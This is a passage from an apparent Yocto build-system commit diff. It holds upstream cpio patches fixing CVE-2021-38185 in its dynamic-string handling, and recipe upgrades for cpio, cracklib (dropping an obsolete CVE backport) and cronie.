+ char *pwd = xgetcwd ();
+-
+- dirname_len += strlen (pwd) + 1;
+- ds_init (&output_name, dirname_len + 2);
+- strcpy (output_name.ds_string, pwd);
+- strcat (output_name.ds_string, "/");
+- strcat (output_name.ds_string, directory_name);
++
++ ds_concat (&output_name, pwd);
++ ds_append (&output_name, '/');
+ }
+- else
+- {
+- ds_init (&output_name, dirname_len + 2);
+- strcpy (output_name.ds_string, directory_name);
+- }
+- output_name.ds_string[dirname_len] = '/';
++ ds_concat (&output_name, directory_name);
++ ds_append (&output_name, '/');
++ dirname_len = ds_len (&output_name);
+ output_is_seekable = true;
+
+ change_dir ();
+@@ -116,8 +111,8 @@ process_copy_pass ()
+ /* Make the name of the new file. */
+ for (slash = input_name.ds_string; *slash == '/'; ++slash)
+ ;
+- ds_resize (&output_name, dirname_len + strlen (slash) + 2);
+- strcpy (output_name.ds_string + dirname_len + 1, slash);
++ ds_reset (&output_name, dirname_len);
++ ds_concat (&output_name, slash);
+
+ existing_dir = false;
+ if (lstat (output_name.ds_string, &out_file_stat) == 0)
+@@ -333,6 +328,9 @@ process_copy_pass ()
+ (unsigned long) blocks),
+ (unsigned long) blocks);
+ }
++
++ ds_free (&input_name);
++ ds_free (&output_name);
+ }
+
+ /* Try and create a hard link from FILE_NAME to another file
+diff --git a/src/dstring.c b/src/dstring.c
+index e9c063f..358f356 100644
+--- a/src/dstring.c
++++ b/src/dstring.c
+@@ -20,8 +20,8 @@
+ #if defined(HAVE_CONFIG_H)
+ # include <config.h>
+ #endif
+-
+ #include <stdio.h>
++#include <stdlib.h>
+ #if defined(HAVE_STRING_H) || defined(STDC_HEADERS)
+ #include <string.h>
+ #else
+@@ -33,24 +33,41 @@
+ /* Initialiaze dynamic string STRING with space for SIZE characters. */
+
+ void
+-ds_init (dynamic_string *string, int size)
++ds_init (dynamic_string *string)
++{
++ memset (string, 0, sizeof *string);
++}
++
++/* Free the dynamic string storage. */
++
++void
++ds_free (dynamic_string *string)
+ {
+- string->ds_length = size;
+- string->ds_string = (char *) xmalloc (size);
++ free (string->ds_string);
+ }
+
+-/* Expand dynamic string STRING, if necessary, to hold SIZE characters. */
++/* Expand dynamic string STRING, if necessary. */
+
+ void
+-ds_resize (dynamic_string *string, int size)
++ds_resize (dynamic_string *string)
+ {
+- if (size > string->ds_length)
++ if (string->ds_idx == string->ds_size)
+ {
+- string->ds_length = size;
+- string->ds_string = (char *) xrealloc ((char *) string->ds_string, size);
++ string->ds_string = x2nrealloc (string->ds_string, &string->ds_size,
++ 1);
+ }
+ }
+
++/* Reset the index of the dynamic string S to LEN. */
++
++void
++ds_reset (dynamic_string *s, size_t len)
++{
++ while (len > s->ds_size)
++ ds_resize (s);
++ s->ds_idx = len;
++}
++
+ /* Dynamic string S gets a string terminated by the EOS character
+ (which is removed) from file F. S will increase
+ in size during the function if the string from F is longer than
+@@ -61,34 +78,50 @@ ds_resize (dynamic_string *string, int size)
+ char *
+ ds_fgetstr (FILE *f, dynamic_string *s, char eos)
+ {
+- int insize; /* Amount needed for line. */
+- int strsize; /* Amount allocated for S. */
+ int next_ch;
+
+ /* Initialize. */
+- insize = 0;
+- strsize = s->ds_length;
++ s->ds_idx = 0;
+
+ /* Read the input string. */
+- next_ch = getc (f);
+- while (next_ch != eos && next_ch != EOF)
++ while ((next_ch = getc (f)) != eos && next_ch != EOF)
+ {
+- if (insize >= strsize - 1)
+- {
+- ds_resize (s, strsize * 2 + 2);
+- strsize = s->ds_length;
+- }
+- s->ds_string[insize++] = next_ch;
+- next_ch = getc (f);
++ ds_resize (s);
++ s->ds_string[s->ds_idx++] = next_ch;
+ }
+- s->ds_string[insize++] = '\0';
++ ds_resize (s);
++ s->ds_string[s->ds_idx] = '\0';
+
+- if (insize == 1 && next_ch == EOF)
++ if (s->ds_idx == 0 && next_ch == EOF)
+ return NULL;
+ else
+ return s->ds_string;
+ }
+
++void
++ds_append (dynamic_string *s, int c)
++{
++ ds_resize (s);
++ s->ds_string[s->ds_idx] = c;
++ if (c)
++ {
++ s->ds_idx++;
++ ds_resize (s);
++ s->ds_string[s->ds_idx] = 0;
++ }
++}
++
++void
++ds_concat (dynamic_string *s, char const *str)
++{
++ size_t len = strlen (str);
++ while (len + 1 > s->ds_size)
++ ds_resize (s);
++ memcpy (s->ds_string + s->ds_idx, str, len);
++ s->ds_idx += len;
++ s->ds_string[s->ds_idx] = 0;
++}
++
+ char *
+ ds_fgets (FILE *f, dynamic_string *s)
+ {
+@@ -100,3 +133,10 @@ ds_fgetname (FILE *f, dynamic_string *s)
+ {
+ return ds_fgetstr (f, s, '\0');
+ }
++
++/* Return true if the dynamic string S ends with character C. */
++int
++ds_endswith (dynamic_string *s, int c)
++{
++ return (s->ds_idx > 0 && s->ds_string[s->ds_idx - 1] == c);
++}
+diff --git a/src/dstring.h b/src/dstring.h
+index b5135fe..f5b04ef 100644
+--- a/src/dstring.h
++++ b/src/dstring.h
+@@ -17,10 +17,6 @@
+ Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+ Boston, MA 02110-1301 USA. */
+
+-#ifndef NULL
+-#define NULL 0
+-#endif
+-
+ /* A dynamic string consists of record that records the size of an
+ allocated string and the pointer to that string. The actual string
+ is a normal zero byte terminated string that can be used with the
+@@ -30,22 +26,25 @@
+
+ typedef struct
+ {
+- int ds_length; /* Actual amount of storage allocated. */
+- char *ds_string; /* String. */
++ size_t ds_size; /* Actual amount of storage allocated. */
++ size_t ds_idx; /* Index of the next free byte in the string. */
++ char *ds_string; /* String storage. */
+ } dynamic_string;
+
++#define DYNAMIC_STRING_INITIALIZER { 0, 0, NULL }
+
+-/* Macros that look similar to the original string functions.
+- WARNING: These macros work only on pointers to dynamic string records.
+- If used with a real record, an "&" must be used to get the pointer. */
+-#define ds_strlen(s) strlen ((s)->ds_string)
+-#define ds_strcmp(s1, s2) strcmp ((s1)->ds_string, (s2)->ds_string)
+-#define ds_strncmp(s1, s2, n) strncmp ((s1)->ds_string, (s2)->ds_string, n)
+-#define ds_index(s, c) index ((s)->ds_string, c)
+-#define ds_rindex(s, c) rindex ((s)->ds_string, c)
++void ds_init (dynamic_string *string);
++void ds_free (dynamic_string *string);
++void ds_reset (dynamic_string *s, size_t len);
+
+-void ds_init (dynamic_string *string, int size);
+-void ds_resize (dynamic_string *string, int size);
++/* All functions below guarantee that s->ds_string[s->ds_idx] == '\0' */
+ char *ds_fgetname (FILE *f, dynamic_string *s);
+ char *ds_fgets (FILE *f, dynamic_string *s);
+ char *ds_fgetstr (FILE *f, dynamic_string *s, char eos);
++void ds_append (dynamic_string *s, int c);
++void ds_concat (dynamic_string *s, char const *str);
++
++#define ds_len(s) ((s)->ds_idx)
++
++int ds_endswith (dynamic_string *s, int c);
++
+diff --git a/src/util.c b/src/util.c
+index 4421b20..6d6bbaa 100644
+--- a/src/util.c
++++ b/src/util.c
+@@ -846,11 +846,9 @@ get_next_reel (int tape_des)
+ FILE *tty_out; /* File for interacting with user. */
+ int old_tape_des;
+ char *next_archive_name;
+- dynamic_string new_name;
++ dynamic_string new_name = DYNAMIC_STRING_INITIALIZER;
+ char *str_res;
+
+- ds_init (&new_name, 128);
+-
+ /* Open files for interactive communication. */
+ tty_in = fopen (TTY_NAME, "r");
+ if (tty_in == NULL)
+@@ -925,7 +923,7 @@ get_next_reel (int tape_des)
+ error (PAXEXIT_FAILURE, 0, _("internal error: tape descriptor changed from %d to %d"),
+ old_tape_des, tape_des);
+
+- free (new_name.ds_string);
++ ds_free (&new_name);
+ fclose (tty_in);
+ fclose (tty_out);
+ }
+--
+2.25.1
+
+
+From fb7a51bf85b8e6f045cacb4fb783db4a414741bf Mon Sep 17 00:00:00 2001
+From: Sergey Poznyakoff <gray@gnu.org>
+Date: Wed, 11 Aug 2021 18:10:38 +0300
+Subject: [PATCH 2/3] Fix previous commit
+
+* src/dstring.c (ds_reset,ds_concat): Don't call ds_resize in a
+loop.
+---
+ src/dstring.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/dstring.c b/src/dstring.c
+index 358f356..90c691c 100644
+--- a/src/dstring.c
++++ b/src/dstring.c
+@@ -64,7 +64,7 @@ void
+ ds_reset (dynamic_string *s, size_t len)
+ {
+ while (len > s->ds_size)
+- ds_resize (s);
++ s->ds_string = x2nrealloc (s->ds_string, &s->ds_size, 1);
+ s->ds_idx = len;
+ }
+
+@@ -116,7 +116,7 @@ ds_concat (dynamic_string *s, char const *str)
+ {
+ size_t len = strlen (str);
+ while (len + 1 > s->ds_size)
+- ds_resize (s);
++ s->ds_string = x2nrealloc (s->ds_string, &s->ds_size, 1);
+ memcpy (s->ds_string + s->ds_idx, str, len);
+ s->ds_idx += len;
+ s->ds_string[s->ds_idx] = 0;
+--
+2.25.1
+
+
+From 86b37d74b15f9bb5fe62fd1642cc126d3ace0189 Mon Sep 17 00:00:00 2001
+From: Sergey Poznyakoff <gray@gnu.org>
+Date: Wed, 18 Aug 2021 09:41:39 +0300
+Subject: [PATCH 3/3] Fix dynamic string reallocations
+
+* src/dstring.c (ds_resize): Take additional argument: number of
+bytes to leave available after ds_idx. All uses changed.
+---
+ src/dstring.c | 18 ++++++++----------
+ 1 file changed, 8 insertions(+), 10 deletions(-)
+
+diff --git a/src/dstring.c b/src/dstring.c
+index 90c691c..0f597cc 100644
+--- a/src/dstring.c
++++ b/src/dstring.c
+@@ -49,9 +49,9 @@ ds_free (dynamic_string *string)
+ /* Expand dynamic string STRING, if necessary. */
+
+ void
+-ds_resize (dynamic_string *string)
++ds_resize (dynamic_string *string, size_t len)
+ {
+- if (string->ds_idx == string->ds_size)
++ while (len + string->ds_idx >= string->ds_size)
+ {
+ string->ds_string = x2nrealloc (string->ds_string, &string->ds_size,
+ 1);
+@@ -63,8 +63,7 @@ ds_resize (dynamic_string *string)
+ void
+ ds_reset (dynamic_string *s, size_t len)
+ {
+- while (len > s->ds_size)
+- s->ds_string = x2nrealloc (s->ds_string, &s->ds_size, 1);
++ ds_resize (s, len);
+ s->ds_idx = len;
+ }
+
+@@ -86,10 +85,10 @@ ds_fgetstr (FILE *f, dynamic_string *s, char eos)
+ /* Read the input string. */
+ while ((next_ch = getc (f)) != eos && next_ch != EOF)
+ {
+- ds_resize (s);
++ ds_resize (s, 0);
+ s->ds_string[s->ds_idx++] = next_ch;
+ }
+- ds_resize (s);
++ ds_resize (s, 0);
+ s->ds_string[s->ds_idx] = '\0';
+
+ if (s->ds_idx == 0 && next_ch == EOF)
+@@ -101,12 +100,12 @@ ds_fgetstr (FILE *f, dynamic_string *s, char eos)
+ void
+ ds_append (dynamic_string *s, int c)
+ {
+- ds_resize (s);
++ ds_resize (s, 0);
+ s->ds_string[s->ds_idx] = c;
+ if (c)
+ {
+ s->ds_idx++;
+- ds_resize (s);
++ ds_resize (s, 0);
+ s->ds_string[s->ds_idx] = 0;
+ }
+ }
+@@ -115,8 +114,7 @@ void
+ ds_concat (dynamic_string *s, char const *str)
+ {
+ size_t len = strlen (str);
+- while (len + 1 > s->ds_size)
+- s->ds_string = x2nrealloc (s->ds_string, &s->ds_size, 1);
++ ds_resize (s, len);
+ memcpy (s->ds_string + s->ds_idx, str, len);
+ s->ds_idx += len;
+ s->ds_string[s->ds_idx] = 0;
+--
+2.25.1
+
diff --git a/meta/recipes-extended/cpio/cpio_2.13.bb b/meta/recipes-extended/cpio/cpio_2.13.bb
index 94d86100c7..38c17f7cf5 100644
--- a/meta/recipes-extended/cpio/cpio_2.13.bb
+++ b/meta/recipes-extended/cpio/cpio_2.13.bb
@@ -9,6 +9,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949"
SRC_URI = "${GNU_MIRROR}/cpio/cpio-${PV}.tar.gz \
file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
file://0002-src-global.c-Remove-superfluous-declaration-of-progr.patch \
+ file://CVE-2021-38185.patch \
"
SRC_URI[md5sum] = "389c5452d667c23b5eceb206f5000810"
@@ -16,6 +17,9 @@ SRC_URI[sha256sum] = "e87470d9c984317f658567c03bfefb6b0c829ff17dbf6b0de48d71a4c8
inherit autotools gettext texinfo
+# Issue applies to use of cpio in SUSE/OBS, doesn't apply to us
+CVE_CHECK_WHITELIST += "CVE-2010-4226"
+
EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
do_install () {
@@ -34,14 +38,14 @@ do_install () {
PACKAGES =+ "${PN}-rmt"
-FILES_${PN}-rmt = "${sbindir}/rmt*"
+FILES:${PN}-rmt = "${sbindir}/rmt*"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "cpio"
-ALTERNATIVE_${PN}-rmt = "rmt"
+ALTERNATIVE:${PN} = "cpio"
+ALTERNATIVE:${PN}-rmt = "rmt"
ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
diff --git a/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch b/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch
deleted file mode 100644
index b251ac9056..0000000000
--- a/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch
+++ /dev/null
@@ -1,105 +0,0 @@
-From 47e5dec521ab6243c9b249dd65b93d232d90d6b1 Mon Sep 17 00:00:00 2001
-From: Jan Dittberner <jan@dittberner.info>
-Date: Thu, 25 Aug 2016 17:13:49 +0200
-Subject: [PATCH] Apply patch to fix CVE-2016-6318
-
-This patch fixes an issue with a stack-based buffer overflow when
-parsing large GECOS field. See
-https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6318 and
-https://security-tracker.debian.org/tracker/CVE-2016-6318 for more
-information.
-
-Upstream-Status: Backport [https://github.com/cracklib/cracklib/commit/47e5dec521ab6243c9b249dd65b93d232d90d6b1]
-CVE: CVE-2016-6318
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- lib/fascist.c | 57 ++++++++++++++++++++++++++++++++-----------------------
- 1 file changed, 33 insertions(+), 24 deletions(-)
-
-diff --git a/lib/fascist.c b/lib/fascist.c
-index a996509..d4deb15 100644
---- a/lib/fascist.c
-+++ b/lib/fascist.c
-@@ -502,7 +502,7 @@ FascistGecosUser(char *password, const char *user, const char *gecos)
- char gbuffer[STRINGSIZE];
- char tbuffer[STRINGSIZE];
- char *uwords[STRINGSIZE];
-- char longbuffer[STRINGSIZE * 2];
-+ char longbuffer[STRINGSIZE];
-
- if (gecos == NULL)
- gecos = "";
-@@ -583,38 +583,47 @@ FascistGecosUser(char *password, const char *user, const char *gecos)
- {
- for (i = 0; i < j; i++)
- {
-- strcpy(longbuffer, uwords[i]);
-- strcat(longbuffer, uwords[j]);
--
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[i]) + strlen(uwords[j]) < STRINGSIZE)
- {
-- return _("it is derived from your password entry");
-- }
-+ strcpy(longbuffer, uwords[i]);
-+ strcat(longbuffer, uwords[j]);
-
-- strcpy(longbuffer, uwords[j]);
-- strcat(longbuffer, uwords[i]);
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it is derived from your password entry");
-+ }
-
-- if (GTry(longbuffer, password))
-- {
-- return _("it's derived from your password entry");
-- }
-+ strcpy(longbuffer, uwords[j]);
-+ strcat(longbuffer, uwords[i]);
-
-- longbuffer[0] = uwords[i][0];
-- longbuffer[1] = '\0';
-- strcat(longbuffer, uwords[j]);
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it's derived from your password entry");
-+ }
-+ }
-
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[j]) < STRINGSIZE - 1)
- {
-- return _("it is derivable from your password entry");
-+ longbuffer[0] = uwords[i][0];
-+ longbuffer[1] = '\0';
-+ strcat(longbuffer, uwords[j]);
-+
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it is derivable from your password entry");
-+ }
- }
-
-- longbuffer[0] = uwords[j][0];
-- longbuffer[1] = '\0';
-- strcat(longbuffer, uwords[i]);
--
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[i]) < STRINGSIZE - 1)
- {
-- return _("it's derivable from your password entry");
-+ longbuffer[0] = uwords[j][0];
-+ longbuffer[1] = '\0';
-+ strcat(longbuffer, uwords[i]);
-+
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it's derivable from your password entry");
-+ }
- }
- }
- }
---
-2.8.1
-
diff --git a/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch b/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
index adbe7dfff4..8fb512a224 100644
--- a/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
+++ b/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
@@ -1,7 +1,7 @@
-From 8a6e43726ad0ae41bd1cc2c248d91deb31459357 Mon Sep 17 00:00:00 2001
+From aae03b7e626d5f62ab929d51d11352a5a2ff6b2d Mon Sep 17 00:00:00 2001
From: Lei Maohui <leimaohui@cn.fujitsu.com>
Date: Tue, 9 Jun 2015 11:11:48 +0900
-Subject: [PATCH] packlib.c: support dictionary byte order dependent
+Subject: [PATCH 1/2] packlib.c: support dictionary byte order dependent
The previous dict files are NOT byte-order independent, in fact they are
probably ARCHITECTURE SPECIFIC.
@@ -9,7 +9,7 @@ Create the dict files in big endian, and convert to host endian while
load them. This could fix the endian issue on multiple platform.
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/cracklib/cracklib/pull/41]
We can't use the endian.h, htobe* and be*toh functions because they are
not available on older versions of glibc, such as that found in RHEL
@@ -22,11 +22,11 @@ Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
Signed-off-by: Lei Maohui <leimaohui@cn.fujitsu.com>
---
- lib/packlib.c | 214 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++--
+ lib/packlib.c | 214 +++++++++++++++++++++++++++++++++++++++++++++-
1 file changed, 210 insertions(+), 4 deletions(-)
diff --git a/lib/packlib.c b/lib/packlib.c
-index f851424..3aac805 100644
+index 8acb7be..a9d8750 100644
--- a/lib/packlib.c
+++ b/lib/packlib.c
@@ -16,6 +16,12 @@
@@ -317,7 +317,7 @@ index f851424..3aac805 100644
+ fwrite((char *) &tmpdatum, sizeof(tmpdatum), 1, pwp->ifp);
fputs(pwp->data_put[0], pwp->dfp);
- putc(0, pwp->dfp);
+ putc(0, (FILE*) pwp->dfp);
@@ -464,6 +668,7 @@ GetPW(pwp, number)
perror("(index fread failed)");
return NULL;
@@ -335,5 +335,5 @@ index f851424..3aac805 100644
int r = 1;
--
-1.8.4.2
+2.20.1
diff --git a/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch b/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch
index 6210e82121..1ee97357d0 100644
--- a/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch
+++ b/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch
@@ -1,7 +1,7 @@
-From 06f9a88b5dd5597f9198ea0cb34f5e96f180e6e3 Mon Sep 17 00:00:00 2001
+From 7250328d7f77069726603ef7132826c9260d3c92 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Sat, 27 Apr 2013 16:02:30 +0800
-Subject: [PATCH] craklib:fix testnum and teststr failed
+Subject: [PATCH 2/2] craklib:fix testnum and teststr failed
Error log:
...
@@ -16,10 +16,10 @@ PWOpen: No such file or directory
Set DEFAULT_CRACKLIB_DICT as the path of PWOpen
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/cracklib/cracklib/pull/42]
---
- util/testnum.c | 2 +-
- util/teststr.c | 2 +-
+ util/testnum.c | 2 +-
+ util/teststr.c | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/util/testnum.c b/util/testnum.c
@@ -49,5 +49,5 @@ index 2a31fa4..9fb9cda 100644
perror ("PWOpen");
return (-1);
--
-1.7.10.4
+2.20.1
diff --git a/meta/recipes-extended/cracklib/cracklib_2.9.5.bb b/meta/recipes-extended/cracklib/cracklib_2.9.5.bb
deleted file mode 100644
index 82995219dc..0000000000
--- a/meta/recipes-extended/cracklib/cracklib_2.9.5.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Password strength checker library"
-HOMEPAGE = "http://sourceforge.net/projects/cracklib"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
-
-DEPENDS = "cracklib-native zlib"
-
-EXTRA_OECONF = "--without-python --libdir=${base_libdir}"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/cracklib/cracklib-${PV}.tar.gz \
- file://0001-packlib.c-support-dictionary-byte-order-dependent.patch \
- file://0001-Apply-patch-to-fix-CVE-2016-6318.patch \
- file://0002-craklib-fix-testnum-and-teststr-failed.patch"
-
-SRC_URI[md5sum] = "376790a95c1fb645e59e6e9803c78582"
-SRC_URI[sha256sum] = "59ab0138bc8cf90cccb8509b6969a024d5e58d2d02bcbdccbb9ba9b88be3fa33"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/cracklib/files/cracklib/"
-UPSTREAM_CHECK_REGEX = "/cracklib/(?P<pver>(\d+[\.\-_]*)+)/"
-
-inherit autotools gettext
-
-do_install_append_class-target() {
- create-cracklib-dict -o ${D}${datadir}/cracklib/pw_dict ${D}${datadir}/cracklib/cracklib-small
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-extended/cracklib/cracklib_2.9.7.bb b/meta/recipes-extended/cracklib/cracklib_2.9.7.bb
new file mode 100644
index 0000000000..2537962336
--- /dev/null
+++ b/meta/recipes-extended/cracklib/cracklib_2.9.7.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Password strength checker library"
+HOMEPAGE = "https://github.com/cracklib/cracklib"
+DESCRIPTION = "${SUMMARY}"
+
+LICENSE = "LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
+
+DEPENDS = "cracklib-native zlib"
+
+EXTRA_OECONF = "--without-python --libdir=${base_libdir}"
+
+SRC_URI = "git://github.com/cracklib/cracklib;protocol=https;branch=master \
+ file://0001-packlib.c-support-dictionary-byte-order-dependent.patch \
+ file://0002-craklib-fix-testnum-and-teststr-failed.patch"
+
+SRCREV = "f83934cf3cced0c9600c7d81332f4169f122a2cf"
+S = "${WORKDIR}/git/src"
+
+inherit autotools gettext
+
+# This is custom stuff from upstream's autogen.sh
+do_configure:prepend() {
+ mkdir -p ${S}/m4
+ echo EXTRA_DIST = *.m4 > ${S}/m4/Makefile.am
+ touch ${S}/ABOUT-NLS
+}
+
+do_install:append:class-target() {
+ create-cracklib-dict -o ${D}${datadir}/cracklib/pw_dict ${D}${datadir}/cracklib/cracklib-small
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-extended/cronie/cronie_1.5.5.bb b/meta/recipes-extended/cronie/cronie_1.5.5.bb
deleted file mode 100644
index 0def4a187d..0000000000
--- a/meta/recipes-extended/cronie/cronie_1.5.5.bb
+++ /dev/null
@@ -1,84 +0,0 @@
-SUMMARY = "Cron daemon for executing programs at set times"
-DESCRIPTION = "Cronie contains the standard UNIX daemon crond that runs \
-specified programs at scheduled times and related tools. It is based on the \
-original cron and has security and configuration enhancements like the \
-ability to use pam and SELinux."
-HOMEPAGE = "https://github.com/cronie-crond/cronie/"
-BUGTRACKER = "https://bugzilla.redhat.com"
-
-# Internet Systems Consortium License
-LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=dd2a592170760e1386c769e1043b3722 \
- file://src/cron.c;endline=20;md5=b425c334265026177128353a142633b4 \
- file://src/popen.c;beginline=3;endline=31;md5=edd50742d8def712e9472dba353668a9"
-
-SECTION = "utils"
-
-UPSTREAM_CHECK_URI = "https://github.com/cronie-crond/${BPN}/releases/"
-
-SRC_URI = "https://github.com/cronie-crond/cronie/releases/download/cronie-${PV}/cronie-${PV}.tar.gz \
- file://crond.init \
- file://crontab \
- file://crond.service \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)}"
-
-PAM_SRC_URI = "file://crond_pam_config.patch"
-PAM_DEPS = "libpam libpam-runtime pam-plugin-access pam-plugin-loginuid"
-
-SRC_URI[md5sum] = "351a37d0b5bd0144816724b4482747ad"
-SRC_URI[sha256sum] = "be34c79505e5544323281854744b9955ff16b160ee569f9df7c0dddae5720eac"
-
-inherit autotools update-rc.d useradd systemd
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
-
-PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit,"
-PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam,${PAM_DEPS}"
-PACKAGECONFIG[anacron] = "--enable-anacron,--disable-anacron,anacron"
-
-INITSCRIPT_NAME = "crond"
-INITSCRIPT_PARAMS = "start 90 2 3 4 5 . stop 60 0 1 6 ."
-
-USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "--system crontab"
-
-SYSTEMD_SERVICE_${PN} = "crond.service"
-
-do_install_append () {
- install -d ${D}${sysconfdir}/sysconfig/
- install -d ${D}${sysconfdir}/init.d/
- install -m 0644 ${S}/crond.sysconfig ${D}${sysconfdir}/sysconfig/crond
- install -m 0755 ${WORKDIR}/crond.init ${D}${sysconfdir}/init.d/crond
-
- # install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/crond.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/crond.service
-
- # below are necessary for a complete cron environment
- install -d ${D}${localstatedir}/spool/cron
- install -m 0755 ${WORKDIR}/crontab ${D}${sysconfdir}/
- mkdir -p ${D}${sysconfdir}/cron.d
- mkdir -p ${D}${sysconfdir}/cron.hourly
- mkdir -p ${D}${sysconfdir}/cron.daily
- mkdir -p ${D}${sysconfdir}/cron.weekly
- mkdir -p ${D}${sysconfdir}/cron.monthly
- touch ${D}${sysconfdir}/cron.deny
-
- # below setting is necessary to allow normal user using crontab
-
- # setgid for crontab binary
- chown root:crontab ${D}${bindir}/crontab
- chmod 2755 ${D}${bindir}/crontab
-
- # allow 'crontab' group write to /var/spool/cron
- chown root:crontab ${D}${localstatedir}/spool/cron
- chmod 770 ${D}${localstatedir}/spool/cron
-
- chmod 600 ${D}${sysconfdir}/crontab
-}
-
-FILES_${PN} += "${sysconfdir}/cron*"
-CONFFILES_${PN} += "${sysconfdir}/crontab"
diff --git a/meta/recipes-extended/cronie/cronie_1.5.7.bb b/meta/recipes-extended/cronie/cronie_1.5.7.bb
new file mode 100644
index 0000000000..72a45089fd
--- /dev/null
+++ b/meta/recipes-extended/cronie/cronie_1.5.7.bb
@@ -0,0 +1,83 @@
+SUMMARY = "Cron daemon for executing programs at set times"
+DESCRIPTION = "Cronie contains the standard UNIX daemon crond that runs \
+specified programs at scheduled times and related tools. It is based on the \
+original cron and has security and configuration enhancements like the \
+ability to use pam and SELinux."
+HOMEPAGE = "https://github.com/cronie-crond/cronie/"
+BUGTRACKER = "https://bugzilla.redhat.com"
+
+# Internet Systems Consortium License
+LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=dd2a592170760e1386c769e1043b3722 \
+ file://src/cron.c;endline=20;md5=b425c334265026177128353a142633b4 \
+ file://src/popen.c;beginline=3;endline=31;md5=edd50742d8def712e9472dba353668a9"
+
+SECTION = "utils"
+
+UPSTREAM_CHECK_URI = "https://github.com/cronie-crond/${BPN}/releases/"
+
+SRC_URI = "https://github.com/cronie-crond/cronie/releases/download/cronie-${PV}/cronie-${PV}.tar.gz \
+ file://crond.init \
+ file://crontab \
+ file://crond.service \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)}"
+
+PAM_SRC_URI = "file://crond_pam_config.patch"
+PAM_DEPS = "libpam libpam-runtime pam-plugin-access pam-plugin-loginuid"
+
+SRC_URI[sha256sum] = "538bcfaf2e986e5ae1edf6d1472a77ea8271d6a9005aee2497a9ed6e13320eb3"
+
+inherit autotools update-rc.d useradd systemd
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
+
+PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit,"
+PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam,${PAM_DEPS}"
+PACKAGECONFIG[anacron] = "--enable-anacron,--disable-anacron,anacron"
+
+INITSCRIPT_NAME = "crond"
+INITSCRIPT_PARAMS = "start 90 2 3 4 5 . stop 60 0 1 6 ."
+
+USERADD_PACKAGES = "${PN}"
+GROUPADD_PARAM:${PN} = "--system crontab"
+
+SYSTEMD_SERVICE:${PN} = "crond.service"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/sysconfig/
+ install -d ${D}${sysconfdir}/init.d/
+ install -m 0644 ${S}/crond.sysconfig ${D}${sysconfdir}/sysconfig/crond
